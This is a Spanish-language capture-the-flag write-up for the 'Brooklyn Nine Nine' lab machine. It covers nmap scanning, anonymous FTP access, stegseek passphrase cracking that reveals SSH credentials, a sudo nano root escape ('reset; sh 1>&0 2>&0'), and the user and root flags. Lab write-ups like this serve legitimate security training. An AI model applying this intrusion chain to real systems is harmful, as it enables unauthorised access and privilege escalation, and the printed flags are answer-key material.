Brooklyn Nine Nine CTF
Fase 1 — Enumeración
Fase 1.1 — Nmap Port Scan
Comando ejecutado:
# [MÁQUINA ATACANTE]
nmap -sC -sV <TARGET_IP>
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 |
| 22/tcp | SSH | OpenSSH 7.6p1 Ubuntu |
| 80/tcp | HTTP | Apache 2.4.29 Ubuntu |
Hallazgos críticos:
- FTP → Anonymous login allowed
- FTP → archivo
note_to_jake.txtvisible en el directorio raíz

Fase 1.2 — Acceso FTP Anónimo
Comandos ejecutados:
# [MÁQUINA ATACANTE]
ftp <TARGET_IP>
# Usuario: anonymous
# Password: (vacío)
ls
get note_to_jake.txt
exit
cat note_to_jake.txt
Hallazgos:
- Nota de Amy a Jake: “Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine”
- Usuarios identificados:
jake,holt - Jake tiene contraseña débil → candidato a fuerza bruta

Fase 1.3 — Enumeración Web y Código Fuente
URL visitada:
http://<TARGET_IP>
# Clic derecho → Ver código fuente
Hallazgos críticos:
- Página web muestra imagen
brooklyn99.jpg - Comentario oculto en código fuente:
<!--Have you ever heard of steganography?-->→ confirma que la imagen contiene datos ocultos

Fase 1.4 — Descarga de Imagen y Extracción con Stegseek
Comandos ejecutados:
# [MÁQUINA ATACANTE]
wget http://<TARGET_IP>/brooklyn99.jpg
stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
Hallazgos:
- Passphrase encontrada:
admin - Archivo extraído:
brooklyn99.jpg.out→ contienenote.txt

Fase 1.5 — Credenciales de holt en note.txt
Comando ejecutado:
# [MÁQUINA ATACANTE]
cat brooklyn99.jpg.out
Hallazgos críticos:
- El archivo oculto confirma que
holtes un usuario válido del sistema
| Campo | Valor |
|---|---|
| Usuario | holt |
| Password | fluffydog12@ninenine |

Fase 2 — Foothold
Fase 2.1 — SSH como holt y User Flag
Comandos ejecutados:
# [MÁQUINA ATACANTE]
ssh holt@<TARGET_IP>
# Password: fluffydog12@ninenine
# [MÁQUINA OBJETIVO - como holt]
whoami
cat user.txt
Hallazgos:
- Acceso exitoso como
holt - Hostname:
brookly_nine_nine - Archivo
nano.savepresente → pista del vector de PrivEsc via nano
User Flag:
ee11cbb19052e40b07aac0ca060c23ee

Fase 3 — Escalada de Privilegios
Fase 3.1 — Identificación del Vector PrivEsc (sudo -l)
Comando ejecutado:
# [MÁQUINA OBJETIVO - como holt]
sudo -l
Hallazgo crítico:
| Usuario | Comando | Privilegio |
|---|---|---|
| holt | /bin/nano |
(ALL) NOPASSWD |
Vector: holt puede ejecutar nano como root sin contraseña → GTFOBins → shell de root

Fase 3.2 — PrivEsc via sudo nano → Root Flag
Comandos ejecutados:
# [MÁQUINA OBJETIVO - como holt]
sudo /bin/nano
Dentro de nano:
- Pulsar
Ctrl+R - Pulsar
Ctrl+X - Escribir:
reset; sh 1>&0 2>&0 - Pulsar Enter → shell de root obtenida
# [MÁQUINA OBJETIVO - como ROOT]
whoami
cat /root/root.txt
Root Flag:
63a9f0ea7bb98050796b649e85481845
